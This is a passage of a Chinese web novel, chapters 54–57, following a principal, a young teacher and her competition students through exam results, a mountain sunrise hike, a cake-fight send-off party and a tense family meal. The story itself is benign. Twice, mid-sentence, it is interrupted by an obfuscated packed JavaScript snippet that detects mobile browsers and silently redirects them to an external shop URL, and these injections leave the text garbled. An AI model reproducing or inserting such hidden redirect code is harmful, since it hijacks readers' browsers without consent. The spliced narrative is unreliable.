“我代表老宋宣布他收到了你的汇报,”宋飞珑听她讲完,严肃一敬礼,“感谢你将我那天马行空的儿子拐入正轨。” “同时也请小唐老师在新的一年再接再厉,成为我们附中的中流砥柱。在教学成果上屡创佳绩,在情感生活中幸福美满!” “……好的,长官,我收到了。”唐瑜嫣很配合地陪他演完了这出戏,“在此恳请长官督促您的儿子给我涨工资!” “长官说风太大,没听见,他先回去休息了,”宋飞珑拍拍衣角的灰尘,向唐瑜嫣挑眉,眼里满是促狭,“想涨工资直接向我打申请啊,怎么还想越级压人呢!” 嘿,这传声筒也忒不专业了,时灵时不灵的,专挑自己喜欢的词儿翻,那些个逆耳忠言就权当没听见。 唐瑜嫣嘴角抽了抽,不打算接受他的眼波信号,转身向后眼不见心不烦。 见该聊表的心意也表到了,常言道“水满则溢”。宋飞珑也最是识趣,于是向他爸挥手告别。 “爸,我们也有眼力见,就不打扰您休息了,下次有空再来看您。” 再次回到车里,唐瑜嫣伸了个懒腰,没骨头似的摊在副驾驶上。她滑动手机屏幕,不经意地说:“他们好像考完了。” “是啊,咱们也奔波一天了……等会儿问问他们状态好不好,想不想在那边玩两天再回来?”宋飞珑用小拇指把打完的左转向灯勾回来,或许是他想通了什么,遣词造句又重新变得轻松,“小唐呢?你还想过去走走吗?” “不去,累,过去也是爬山,不想给自己再找罪受。”见他这样,唐瑜嫣也懒得继续给他阳光,让他过度灿烂。她飞快回答道。 “好好好,反正那么多老师在那边,也不缺我们两个。那帮孩子拿着手机,身手机灵着呢。要不把难题扔给登机广播吧,反正他们总不至于沦落到扔漂流瓶的地步。” 话虽这么洒脱,宋飞珑还是连打了好几个电话,嘱托那边的老师做好成为幼儿园园长的心理准备。 自由活动简直是圈养幺蛾子的温床,不知道他们又会搞出什么新花样。 拉完一级戒备,宋飞珑随手点开了车载音乐软件,一首叫不出名字的经典电影片尾曲流淌而出。 “恭喜小唐老师啊,喜提几天带薪假期!”他的笑声融进音乐,调侃更是悠悠长长。 “哇哦,既然如此,那我先睡个两天。”唐瑜嫣也没跟他客气,“我现在听到上课这两个字就想翻白眼。” 外培时的周末简直是加班答疑高峰期,学生自愿学习,他们老师也只好自愿放弃睡眠,几乎连着上了一整个月的课,真是闻者落泪见者伤心。 虽然节假日三薪加补贴不假,但她本来回母校的初心是躺平消除班味啊,怎么这才没到半年又卷起来了! “睡吧睡吧!游船即将抵达港湾……不过玛卡巴卡,依古比古想问你一句,你想不想干一份超棒的兼职?” “我兼你……!”玛卡巴卡不仅不愿意,还给他送了一个国际友好手势。 “你好凶!我是想说我们家装修了一个新房间,我想邀请你当新床垫的试睡员!”宋飞珑对旁边那台想超速别他车的丰田狂摁喇叭。 54. 第 54 章 与此同时,另外一边。 所谓蛇鼠一窝,大概形容的是刚考完试的青少年们不需要领袖指挥,便可以自然而然地就凑成一团,一聊考试,二聊答案,三聊假期。 “我跟你说,第四题必是全选,我每个选项都算过了!”有人率先撕开了聊天的口子。 “我去,你是信他有时间把每个选项的坑都避过去了,还是信我是秦始皇,C的公式有条件限制啊儿子!” “你个孙子还在诋毁!你等等!冯哥,你第四题选的什么?” 虽然考试不对答案,对答案不考试,不对答案是可能的,但不对答案又是完全不可能的,毕竟谁能忍住考完试出来不跟朋友吐槽题目恶心呢。 冯熠还在怀疑自己的答题卡涂对了没有,被他们这么左拽一下,右拉一下,简直是烦不胜烦,脑袋更是嗡嗡响,他恨不得一人一巴掌,全部扇上西天。 他将两人使劲扯开,真诚地请教:“你们一个考物理的,一个考化学的,对起答案还挺热火朝天。” “你们自个儿鸡同鸭吵就算了,吵不清楚怎么还来问我这个考生物的,不知道的还以为我们仨考的是一张卷子呢。” “嘶,我当然知道……我只是气氛组、气氛组!”那考数学竞赛的仁兄继续嘴硬,“考完试怎么可能不对答案呢!” “气氛组吗?可是那题的C确实有条件限制哦!”魏浩从斜后方跳上来给他激情一肘,“不仅如此,它的隔壁亲邻B也是错的呢。” 听他这么一说,那人顿觉天崩地裂,一只手捂住胸口,另一只手胡乱地乱挥,嘴里还迸发出哀嚎:“不!魏哥,我不听!我没有对答案,我还是满分!”前后嘴脸变化之快令人咋舌。 周围众友毫不例外地爆发出激烈的嘲笑声,特别是那个物竞老哥,捂着肚子笑得不比范进中举体面。连上岸的鸭子路过,都没忍住驻足观察一下这个神秘人类的发疯行为。 一片欢声笑语中,魏浩没忍住拍了拍严鹏飞,又戳了戳肖筠云,压着声音问:“怎么样?有把握吗?” “还成,没出什么大问题。”严鹏飞平淡地回答。 “手感奇佳。”肖筠云更是自信。 “我这边也还行,最后一秒把倒数第二题的答案算出来了。”魏浩想到了什么,踌躇片刻还是作罢,“无所谓,咱也尽人事了,等成绩过两天出成绩再说吧,收卷的时候我瞄了一眼,龙哥至少空了两大题。” “唉……那我们要回去了吗?说真的我还怪舍不得的,虽然我也很想回铁山……哎呀,住习惯了就是这样,浑身都在抗拒改变现有的生活状态啊。”他又将双手交叉枕在脑后。 “没那么快,宋校说让我们在这边休息几天,西德可以多提供几天宿舍,等我们成绩出来了之后再走。”肖筠云单手翻阅群通知,批量操作着已阅,“但他和小唐老师先回去了。” “什么!多留几天等成绩?那我们真要跟龙竞泽他们爬山吗!”一旁的冯熠立马惊了,没两秒就捕捉到了最关键的信息,比嗅到了猎物的猎犬还敏锐,“不是,如果咱真赢了,就不能让他们只录道歉视频吗?” “不能,我龙竞泽可不是输不起的人!愿赌服输,我承诺的一项都不能少!”当龙竞泽身上挎了十几个包站在岳麓山脚下的时候,此人的壮志豪言依旧不见少。 “小龙啊,技不如人就乖乖闭嘴,你的脸皮已经快比我家的承重墙厚了!” 魏浩已完全忘却自己前两天被“龙哥比你高一分”这几个字吓醒的模样,此时正得意洋洋地拍着龙某身上最重的那个包——内含三个相机八个镜头十二块电池,拍得还在硬撑的龙竞泽打了好几个趔趄。 或许是运气使然,即全体成员每日按时按分地握一遍徐真那只单点连金,十连双黄的手。 又或是天道酬勤,具体表现为各宿舍舍员每天都要汇集在宿舍,绕着杵在中间的晾衣杆跳半小时神秘舞蹈。 两者相助之下,他们竟以微弱的优势战胜了伟大而不可触摸的敌人。 严鹏飞能力压对方考化学竞赛的那姑娘倒是不足为奇,魏浩比龙哥多对个一两题也在常理之内,肖筠云超常发挥,跟对方打了个平手。 如此说来,这六人怎么也能称得上一句神仙斗法。 但冯熠和对面那白晖城就好笑了,两人在肩负巨大压力之下,竟双双涂错了卡。一个是竖的涂成了横的,另一个是跳了一题之后彻底乱序。一时还分不清到底是谁更惨淡些。 虽然最后还是白晖城的填空题与材料题的正确率更胜一筹,但还是无法填补其他三人空出来的缺口,西德众人遗憾落败。 听到这个结果,已在度假的唐瑜嫣也不知该说什么好,努力了这么久,结果竟是如此之轻飘,这大概就是来自东方的神秘力量吧。 冯熠本人看到自己的成绩后,表情更是丰富多彩,跟熬鹰似的,躺在床上盯着床板,久违地一言不发。 此番行为让窝在上铺的魏浩感觉背上哪哪都不舒服,怀疑了老半天他们宿舍哪来的x激光射线。 等到第二天起床看到冯熠的超大黑眼圈时,魏浩才反应过来,我去,这人不会自个儿搓磨一晚上了吧。 实则不然,并非想了一个晚上,冯少爷琢磨到后半夜就打通了任督二脉。 一脉来这不是最终考试,虽然答题卡涂错了,但题他确实是会做的,这段时间努力赶课带来的进步大家也有目共睹。 另一脉来也没耽误他们的比试,反正他们也赢了,你也别管光不光彩,磊不磊落,运气好不好,他们又没作弊,结果更是得到众人认可的。 既然如此,冯熠顿感心安理得,具体表现为那一整个大包的设备有三分之二都是他提供的。 “小龙啊,加快点速度,太阳快要升起来了。不是说好去看日出的吗!”魏浩继续挥动着小皮鞭。 “你小子对龙哥放尊重点!”有小弟看不下去了,对他发出了痛心疾首地怒斥。 这种屁话魏浩听一半就不想听了,给他翻了个大大的白眼,“你还有脸说,你走得比你龙哥还慢!没吃饭还摸鱼呢!” 虽然很不了解龙竞泽在西德一中大帮派里的地位,也搞不懂他们一个学校怎么搞出了一种帮派的感觉,但既然龙哥能摇来这么多苦力挑水抗包,同时还压着所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏浩抿了抿唇,不知道想到了什么,话到嘴边又变成了“你是货拉拉吗?这么能装!你们的道歉视频还在我手机里呢,信不信我让我们音乐老师给你们剪个杀马特mv,等着自己的表情包流芳千古吧!” 魏浩话刚说到一半,不知不觉间他们又翻过了一个坡。 视野突然因此变得开阔,附着着晨间的雾气,眼前的光景像是天地初开时还未及收起的纱帐。 “到了。”走在他旁边的严鹏飞微眯起眼,望向立在远端的牌子,默念出上面刻出的字,“岳麓山观景台。” 话音刚落,晨光便从遥远的东方之境斜透而来,于刹那间将山雾锻上一层淡淡的金纱,山石在地上投射出崎岖嶙峋的怪影,此之谓万籁俱寂,又可谓万物复苏——世界都因此而恍然苏醒。 “跑一下跑一下,咱们去观景台上看!”魏浩听见周围人的呐喊,下意识地迈开腿。他的肾上腺素瞬间飙升,心脏怦怦直跳,没想到才挪了几公分便又被一只手从背后抓停。 “喂,你听见了吗!我们顶峰相见!”龙竞泽这个阴魂不散的死鬼,非要在这时候来煞一煞风景! “那你别拦拽我的裤腿,”冯熠给他比了个中指,扬声向天地呼啸,“有的是人想和我顶峰相见好吗!” 55. 第 55 章 “你自己设计的?弄了多久?” 被宋某人神秘兮兮地推进卧室,唐瑜嫣一把扯下眼罩,眼底闪过一丝惊讶。 “那当然,不仅这间,整栋别墅都是我设计的。”宋飞珑颇为骄傲地挺胸,“超现代文化混血装修风格,怎么样,是不是很有感觉。” 唐瑜嫣突然被哽住了,他是在说他那个融了几百斤vintage复古废物的客厅吗,还是爬满了杂交失败产物的楼梯间。 ——在此人设计感十足的客厅里,包豪斯的钢管皮椅对面配的是早期美国殖民时期橡木长桌。 俩配套家具一个边缘粗粝,一个线条精密,既格格不入,又有些莫名的相契相容。 长桌的斜前方又是一个仿北欧大壁炉,有一位残缺的古希腊石膏帅小伙站在它的脑门上。 举手投足间,仿佛下一秒就要扑向墙壁上的捕梦网。让人不禁怀疑其断臂的原因。 也不怪这小伙脑干缺失般飞蛾扑火。据宋某所言,他挂的捕梦网——可是由伟大的纳瓦霍部落大祭司亲手编织而成的,可谓是物以稀为贵。 唐瑜嫣并不认为这劳什子瓦尔登湖大祭司用鸡毛做出来的手工有什么被哄抬物价的必要,只得对其非主流设计风格表示理解尊重支持。 “亲爱的,请允许我向你隆重介绍这个房间!”宋飞珑富有激情的声音从她身后传来。 “先看这个天花板吧!它是由本半吊子工程师,依照1969年7月20日人类首次登月时NASA星图一比一仿真,亲自画工图拉光纤,历时小半年终于手搓出来的伟大成果。” “你可以亲切地呼唤它的学名——星空云海,它也是整个房间的设计核心。” 他边说边转进房间,“咔哒”一声把门关了,然后顺手拍下电控开关,漫天星光顿时宣泄而下,“怎么样,是不是感觉自己到外太空了。” “有感觉,感觉自己被星际流放了,”唐瑜嫣无辜地眨眨眼,指着房间中心的白色巨舱问:“如果我没认错的话,这是床吗?你怎么还把床整成太空舱了?那我没有宇航服怎么在太空游荡?” “这儿呢,”宋飞珑掏出一套墨蓝色睡衣递过去,笑着挑眉,“总部考虑很周全的,不会轻易放飞任何一个宇航员。” “……宋飞珑,你自己心里清楚,谁更像这个需要绳子拴着的宇航员。”唐瑜嫣回了一个意味深长的表情,眉眼间难得的闪着几分得意,“好了,让我来探索一下太空生态位。” 说完,她便身体力行地把自己摔进舱里。啧,真没想到,这床垫还挺软,又有弹性,唐瑜嫣索性就着横躺的姿势滚了几周。 见她越滚越来劲,宋飞珑也并不想打断这随着懒意上涌的童心。他笑着半靠在太空舱边缘,抬手拉开抽屉,从里面摸出了一本书——封面上的月球揭露了它的主题。 “哎呀,我知道,我知道……”他的声音变得温柔缱绻,确是在回答她之前的问题,但从某种程度而言,又是在念某本幸福童话上的台词。 “可是亲爱的,我希望在我这里,你可以既是拴住我的绳子,也是迈向宇宙的探险者。” 宋飞珑将手上那本《2001太空漫游》放在她身侧,又俯身去亲她的耳朵。 “小唐,我愿意向你发誓,无论未来多远,我都会永远支持你,让你始终拥有迈向世界的勇气。” “好恐怖的甜言蜜语,”唐瑜嫣心里五味杂陈,耳朵也因这个吻而红了大半。 她把自己浸没在被子和枕头间,默默地想:“怪不得世界上会有那么多恋爱脑,若是被人用此番态度捧在手心过,也难怪此生念念不忘。” 这个休眠仓几乎正中了小唐老师心意,经此之后,她隔三差五要来这儿借住那么一两天。 这可把宋校高兴坏了,每天都对着这个房间赞颂几遍“好宝!争气的好宝!”真不枉他横跨半年的努力。 他们回来后,又过了好几天,外出集训的大部队才终于抵达。 带着凯旋而归的喜悦,这帮少年们跟各自的亲朋挚友好一顿吹嘘,引起了大规模的羡慕与嫉妒,大家都恨不得能亲身经历这些打破常规的故事。 可是再伟大的传奇也要归于平凡,更何况他们还只是些连高中都尚未毕业的学生。 在一次小规模的狂欢过后,他们又回到了书山题海之间,继续与各种疑难问题搏杀,每天的生活似乎又变得枯燥乏味。 无论是老师还是学生,大家的生活热情又似乎渐渐地寄托回了一日三餐之间,游走在三点一线之上。 按《新华字典》里不动声色的定义,这种索然的日子,被语言学家们亲切地唤作——“日常”。 日常啊日常,日间常态。 行走在这些日间常态里的人,往往很难察觉自己正被人世间最踏实的美好所包围。 他们只是停下来,虚虚地叹一口气,感慨真是没劲,渴望伟大惊涛的到来。 刷题冲刺的日子每天都像从一个模子中刻出来的。 只有黑板上的倒计时慢慢流逝,从回来时的一百多猛地跳成两位数,又从两位数恍然变成一位数,一位数又渐渐变小,直到最后,计数单位彻底从天变成了时。 由于各竞赛预选赛,初赛和复赛的时间都不相同,考试倒计时最先归零的是冯熠。 他们生物竞赛于四月初就进入了初赛,遥遥领先于剩下三门连预选赛都没开展的玩意。 于是,在冯熠走向考场前的那个晚上,他们开展了一次百日誓师兼竞赛送考仪式。 生竞教室里,唐瑜嫣双手撑在讲台上,指挥他们将零零散散的桌子椅子拼在一起,空出周围的位置。 “对,小严,把这张桌子移到中间,那张靠墙!” 话音未落,窗户外一阵敲门声突然响起,宋飞珑的头从玻璃外透进来,手里还捧了一个五层大蛋糕。 “让一让,让一让啊,我不想让这个蛋糕这么快就糊到大家的脸上!”他笑眯眯地闪身躲过好几个不看路的小同志,“即使这注定是它的归宿。” “宋校,这儿有点空,要不要再要画几根蜡烛?”徐真拿了好几只彩色的粉笔,在黑板上奋力涂鸦。 “不用不用,我们待会儿把灯关完,点几支真蜡烛,也算是为最后的晚餐添些氛围感!”见她手上的粉笔头都快擦出火星子了,宋飞珑有心为她减轻负担。 “哎,小严你正好关一下灯。还有那个,谁愿意为普罗大众贡献一个打火机……好的,感谢……来吧,我们一个个说,王主任你先。” 宋飞珑接过数竞赵老师递来的火机,又将他顺手掏出来的烟盒原封不动地推回去,一路“咔嚓咔嚓”地点燃了桌上那几根大蜡烛。 听见他的呼唤,在旁边蓄势待发许久的王主任立马清了清嗓子,开启他深情并茂的演讲:“咳咳,好的,感谢宋校给予我的这次机会。” “是这样——时光荏苒,任意东西,我们今天相聚在这里,就是为了……” “说重点。”接收到唐瑜嫣嫌弃的眼神,宋飞珑立马出言提醒,“咱们这是关上门的私人活动,不需要铺垫这么多。” “……好嘞,总而言之,最近这段时间,大家的努力和变化,我都看在眼里。恭喜你们,你们在我眼里的形象已经不是一群在化竞教室开party的癫仔了!” “太好了!这简直是我的荣幸!”魏浩立马抬手为他捧场,“但我必须再次声明一遍,我那天生病了,这事儿跟我一点关系都没有!” “那你把之前在数竞教室打游戏花的电费结一下呗。”唐瑜嫣善意地提醒。 “还有蹭我办公室wifi的费用也结一下!”徐真看热闹不嫌事大,立马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406504|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心地加入。 对于她们俩的突然发难,魏浩的脸色红了又黑,黑了又红,哼哼唧唧大半天,最后双手一拍桌面,破罐子破摔般宣布:“买就买,我冯熠玩得起就担得住!” “我宣布,全竞赛部的网费都由我冯公子一人买单!” “?”冯熠一脸惊恐地看着他,颤颤巍巍地建议:“下次放狠话的时候能用自己的名字吗?” “好兄弟,在心中,下次一定还带你。”魏浩向他回了一个“兄弟我懂,无须多言”的表情。 “好了好了,轮到我了,”老陈笑呵呵地走到他们中间,隔绝了这俩相互鄙夷的视线,“明天,我们学生物的孩子们就要走上考场了,虽然很老土,但还是希望你们考得全会,懵得全对。” “当然还没考的孩子们也要继续加油,属于你们自己的挑战仍在前方!” “他们把我的词儿都抢了,那我就先祝一句锦鲤附体吧!”徐真赶紧抢在唐瑜嫣之前开口,不想做压轴的那个。 “行……那我也来四个字,吃蛋糕吧!”唐瑜嫣淡淡地宣布,“还是说宋校长还有什么想补充的吗?” “有有有!”宋飞珑积极抢答,迅速抄起一旁的小刀往蛋糕表面划拉,边切边高声汇报:“报告,已严肃执行切蛋糕任务!” “哈哈哈哈哈………!”一屋子人七歪八扭地笑作一团,“宋校,给我多切点水果!” “哎,那块奶油全挖给我!魏浩,你看我弄不弄死你!” “你弄啊,所有支持冯少爷一人结清电费的兄弟姐妹们请随我一同出征!” 是嘛,讨论吃什么和揍谁可比说一堆漂亮话有意思。 “冯熠。” “什……!?”一整块白色软体物质猝不及防地糊到他左半边脸上,甜腻的动物奶油香气顺着空气灌进鼻腔,冯熠的声音立马拐了一个弯。 严鹏飞在他身后双手交叉,凉凉地解释:“无偿借教室的报酬。” “还有我,”肖筠云愉悦地勾起唇角,“物竞教室也被借过。今天算次总账,不能给你跑了!” 这下冯熠右半边脸也长出白胡子了,他绝望地转头求助:“小唐老师,你看他们!” “喊我也没用,你找我补课我也没收报酬,再喊我给你正面也添一块。”唐瑜嫣向他报以冷酷无情的嘲笑。 “既然如此,那我也不忍了!”冯熠揭竿而起,抓起两块蛋糕开始托马斯螺旋旋转,上下左右东西南北管他三七二十一通通给他糊成白的。 “我去,冯熠你有病啊!”魏浩闪身扭开飞来的白点子,利用灵活走位蹿上讲台,“停一下!停一下!在这个大喜的日子里,让我们共同品鉴一番西德道歉视频!” 他把手上的u盘插进一体机的凹槽,那几个熟悉的身影映入大家眼帘。 “这视频在这几个月里都循环播放多少次了,我都把词背熟了,你还没看腻?”一见那富有代表性的美式前刺,唐瑜嫣就忍不住偏开头。 “多好看!词也好听!百听不腻这一块!”魏浩又把进度条划拉回去,将那句谦虚恭敬的“对不起”又重复播了十几次。 “哎,那我问你,经历了这么多,你怎么看待上面这些人的?”唐瑜嫣对着一体机轻扬下巴。 “能怎么样?就那样呗。看不起人,垃圾话多,但也愿赌服输,态度也还算诚恳吧。只是我站在他的角度肯定处理得比他好。” “咱们目前恩怨也算平了,后面搞不好还要在国家队碰面,抬头不见低头见的,多个能讲话的总比多个仇人好。”魏浩无所谓地摊手,“这帮人看起来还挺讲义气的。” “挺好,你已经明白这个世界不是非黑即白的了。”听到他的答案,给唐瑜嫣塞小蛋糕的宋校长笑眯了眼,带着满怀的欣慰说道,“小魏啊,你已经半只脚迈出校门了呢!” 56. 第 56 章 而在这片彩带横飞,奶油纵行的混乱之中,有人突然拉了拉唐瑜嫣的衣角。 “小唐老师,阿徐,我有一个很好奇的问题,就,你们当时在考场里答卷的时候,心里有什么特别想法吗?”肖筠云沿着莫名变得斗折蛇行的道路绕到了她们身边。 听她这么一问,徐真的眼睛立马亮了亮,声音轻快又愉悦:“有啊,我当时激动坏了。考前我就觉得自己脑子里的灵魂早就升天了,每一天都恨不得第二天天亮就是高考。” “我还记得高考前一个月我都没回过家,导致答卷那会儿满脑子都是考完了去哪旅游!马来西亚还是新加坡。” “你想啊,所谓大考放大假,小考放小假,考试就是为了放假,这么一算,那高考完得放多少假啊,我能去多少个地方玩啊。” “秉持着这种想法,当时也算是下笔如有神,解起题来轻松多了!哦,不过现在还没到你考试的时候呢,还得熬啊小筠云。”说着徐真又给她铲了一小块蛋糕。 作为竞赛部下的分管老师,徐真也是有教学任务的。 据办公室八卦史记载,她当时选择成为一名无私(通无丝,没有头发)的物理竞赛教师,有很大程度上是受了那句著名八字箴言的影响,其名曰“遇事不决,量子力学”。 如同严鹏飞之于小唐,肖筠云也算是她的直系学生,两人于空闲时谈天说地的次数甚密,囫囵间也混成了半个好友。 “总要有点盼头嘛,嗯……你们说我考完试就把头发染成绿的怎么样?不是荧绿色啦!那种烟青,有点酷有点丧那种!”肖筠云笑里带着些心旷神怡,说出的话却如此惊人。 见自己说完后,周围的空气似乎陷入了沉默,肖筠云有些不好意思地抬起头,试图观察听众们的表情。果然,眼前两位女老师脸上写满了嫌弃与质疑。 一股尴尬之情油然而生,她赶紧低下头,压下那个足以隔绝全副视线的大眼镜框,以遮掩住自己泛红的脸。 她咬着唇慌忙解释:“就突然想试试,哎呀,我瞎说的!那个……小唐老师呢,当时在想什么?” “小筠云别害羞啊,大胆去尝试呗,女生高中毕业公认的三件套,染发、美甲、穿耳洞。” 徐真片刻后便反应了过来,连忙笑着抬手揉乱她的头发,又凑近去摘那个遮了她大半张脸的眼睛框。 黑色重框刚一脱脸,青春少女的俏皮与活力立马展现了出来,徐真开玩笑似的上手捏了捏她的脸。 “哎!你难道没注意到吗,每年高考完,就大家集中回校拍毕业照那会儿,咱们学校的主干道上不是总挤满了顶着各种彩虹发色、各种新奇造型的精神小弟小妹吗!” “这帮人全是说高考完要改变自己的,你这绿头发在里面只能算小巫见大巫。” “哦,这还不算,每届都会有那么固定的一帮小疯子,化着浓妆,插着耳机,啥也不干,就要跑到德育处门口,对着一办公室的领导挥舞手机。数十年如一日,盛主任他们都看习惯了。” “短短一夜之间,所有人都吃了熊心豹子胆。果然毕业证书到手之时,便是农奴翻身之日。” 因为高考的骤然结束,“既浪费时间,又影响高考”的禁忌教条便失了真,大家突然就拥有了大把的时间,足以支持他们去浪费,去享受。 于是高考后的第一课,大家不约而同地选择了同一节——学会如何浪费时间。 那些曾被禁止的事,终于成了名正言顺的尝试。一直埋头冲刺的人,第一次学会为路边的风景驻足。 见唐瑜嫣还在与蛋糕奋斗,徐真又翻找出相册里的图片,笑着向她们展示,“你们看,真蛮好玩的,跟化妆舞会似的。小筠云可以勇敢地去捯饬一下自己!” “唔……对,小肖也可以去学学化妆,体会一下当女娲造人的感觉。刚开始认不全那一堆瓶瓶罐罐也没关系,你们这个年纪的小姑娘,无论做什么身上都是闪着光的。” “……我没有嫌弃绿色的意思。我刚刚只是在想,怎么会有人如此爱校,毕业了还想把头发染成校服的应援色?” 唐瑜嫣的眼神到处乱瞟,就是不与齐齐向她看来的宋飞珑和其他领导对视。 躲过这一劫后,她三两下把剩下的蛋糕扒完,顺手把蛋糕盘搁在一旁,然后潇洒地斜倚在课桌侧面,“至于你问在考场里会想什么的话,还真没有,我当时一直在想题。” “主要是,好像中学时期对我有重要影响的考试还蛮多,光化竞的考试都有好几个,考到后面都麻木了。” 她仔细回忆了一下当时的情绪变化,稍微挑了几个举例子,“嗯……倒是化竞初赛开始之前那段时间,我好像特别紧张,当时一吃饭就反胃,干什么都想吐。” “当时连着好几个晚上一直在做噩梦,梦里全是竞赛落榜,高考失利,绕了一大圈又回来复读。” “后来拿到题的瞬间,我突然就觉得复赛稳了。真蛮好笑的,其实当时那张卷子我扫都没扫完一遍,甚至可能就看了两题吧,就是莫名的自信。” 唐瑜嫣边说边对着宋飞珑绽出意味深长地笑,这人灵敏地捕捉到“爱校”后非要挤到她身边,说自己是她们故事会的听众。 见她如此没心没肺地挤眉弄眼,宋飞珑难过地回了一个她伤心欲绝的表情,眼里写满了“不要欺负我这个没进复赛的人”这几个大字。 “总之确实也进了。进复赛基本就稳一半了,道上的规矩是进省队能拿牌,金银直接保送,铜牌也能在强基加分,拿什么都不亏。” “虽然最后很可惜,复赛的时候出了些小差错,委员会那边临时改题型,我们压根没见过,上场纯抓瞎。” “但至少也拿了个银牌,直接化学专业保送了,高考就走个过场,上一本线就行了。哦,是不是你们现在改名叫特控线了?”唐瑜嫣风轻云淡地解释完后续。 考试型大心脏选手啊,肖筠云咋舌,“那……” “你问考完试之后吗,”她一张嘴唐瑜嫣就猜到了,“其实还真发生了蛮多事的。” 化竞的初赛举办于每年九月初。初秋的南方暑气未散,若有若无的闷热始终包裹着渴求秋高气爽的人们,唯有泛黄的枫叶揭示了季节轮转。 经历了三小时紧张刺激的答题,唐瑜嫣的大脑有些缺氧,整个人有些钝钝的。 她慢吞吞地随着人流滑向输出口。队伍里人头攒动,一条一条的腿拔地而起,五颜六色的外套更是晃得她眼花。 唐瑜嫣突然有些茫然,她要干什么,复习吗?刚考完初赛,总要休息一下吧……休息,什么才算休息呢? “小唐,这儿这儿!”仿佛上天洞察了她的空白,顷刻之间,一道热情洋溢的声音从远方传来。 听到熟悉的呼唤,唐瑜嫣下意识地朝着其源头走,没走两步便落入了一个温柔干净的怀抱。 “恭喜小唐顺利完赛!愿你今后生活的每一天,都能活出自己所希望的样子,天高海阔任自由!”那个声音变到了她耳边。 抛开耳边喋喋不休的话语不谈,这是一个很舒服的拥抱,快速、简略,并未藏有任何压迫感或侵略性。 唐瑜嫣的心跳漏了一拍,愈发感到轻飘且不现实,过了老半天才钝钝开口:“你怎么在这,不是开学了吗?” “醒醒,醒醒,我的演讲稿都翻到第十页了,你怎么还在开头?”宋飞珑佯装嗔怪,把一只手搭在她的肩上,引导着她穿越人群。 “好吧,那我只好重头来一遍了——我向我导师请假了,连着周末回来四天!专门回来接你出考 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嘈杂混乱的声音并起,终于是把唐瑜嫣从虚空中拉回来,她脚步一顿,突然转头定定地看着宋飞珑,有些惊讶地问:“什么答不答应?你翘课了?开学就翘课……你挺有胆。” “完了小唐你真被夺舍了!”眼见形势失控,刚考完试的小唐也不大机灵,宋飞珑不敢再乱说话了,一言不发地将她半个身子虚搂在怀里,从人群中开路。 就这样艰难地挤了十几分钟,终于跌跌撞撞到达了一片树荫底下。 唐瑜嫣还没来得及问他跑来这干什么,不坐校车回去吗,背后就突然受到了一股推力——她被宋飞珑暗算了! “你……!” “登登!小唐,你看看,是谁来了!”暗算者不仅不道歉,还有些沾沾自喜地说。 “还能是谁,老陈老盛?还是展姐段辰?”唐瑜嫣一边在心里默默诽谤,一边顺着他的话,抬起低了一路的头。 只一秒,她便诧异地喊出声:“爸?妈?你们怎么来了?” 她不由自主地走向前,满肚子的疑惑脱口而出:“宋飞珑把你们叫过来的?今天又不是周末,你们上班怎么办?” “哎,你这孩子,这么大的考试怎么不和爸爸妈妈说呢?要不是小宋提醒,妈妈就要错过你人生的重要时刻了。”唐母将她被挤乱的头发别到耳后,“还有,上班哪有你的考试重要。” “但……”唐瑜嫣刚想解释自己有校车和老师接送,他们专程来跑这么一趟也没必要,却被唐父笑呵呵地打断。 “有必要的,别人家的孩子都有父母接送,我们小唐一个人孤零零的多不好。正巧今天有时间,我和你妈妈也好久没见了,我们一起吃个饭,小宋也一起来吧!” 听到此番邀请,唐瑜嫣迟疑地顿了顿。她有些不确定地想:“上一次三个人一起吃饭是什么时候?在他们离婚前吗?” 她的心里突然泛上了几分难言的尴尬,平时自己一个人自由惯了,要见面也基本都是两两见面。好久没有同时相处,她突然有些想不起,一家人在一起,应该会是什么样的了。 攥着文件袋的手关节泛白,唐瑜嫣抬眼向四周扫了一圈——周围三人竟齐齐挂着鼓励的眼神。 “都表示支持吗?或许是吧。”她挣扎片刻,最终还是点头答应了。 没想到她这关过了,平日里最爱往人堆里扎的宋公子却开始连连摆手。 他带着几分遗憾婉拒道:“抱歉叔叔阿姨,我要去校车上顶小唐的人头,那边点够数才能走。这次也就不打扰了,叔叔阿姨都有我的电话,有事联系我就好!” “啧,为了让我和我爸妈三人相处,这人真是无所不用其极。”唐瑜嫣默默吐槽,“最开始时忽悠他的话,他不会全当真了吧!” 57. 第 57 章 分手厨房 与宋飞珑告别后,三人绕着考场附近的小吃街转了一圈,最后不约而同地停在了一家闪着霓虹灯的火锅店门口。 “就这家?”唐瑜嫣低声问。 “就这家吧。”唐父唐母异口同声地回答。 唐瑜嫣点点头,率先推门进去,在服务员的招呼下坐进了四人位的里端,让她爸妈自行选位置。 不出她所料,林焕淑女士极其自然地坐到了她身边,唐国辉先生稍落后于她们俩,见她们坐稳之后,才落座于对面沙发的中间。 此时正值午饭时刻,火锅店里已经有了不少人。空气中烟火缭绕,高分贝的聊天声、争论声、唱戏声皆融于沸腾的热锅中。 “嫣嫣,点菜。”过了半晌,见她还没有动作,林焕淑将手边的菜单推给她。 “用手机点吧,我们可以同时看。”唐国辉同时同刻出声建议。 “还是菜单吧,讨论轻松一些。”林焕淑再次把菜单往唐瑜嫣的前方推。 “手机方便……哎,算了,就看菜单吧。”唐国辉叹了一口气,难得让步一次。 唐瑜嫣默不作声地听他们商量好,然后欣然接过了菜单,随便瞄了一眼后,随手在上面点了几个招牌。 “就这几个吗?要不要再添一点?”林女士有些诧异,但见她无所谓地摆摆手,只好自己又指了几个菜,把菜单一合,递给服务员。 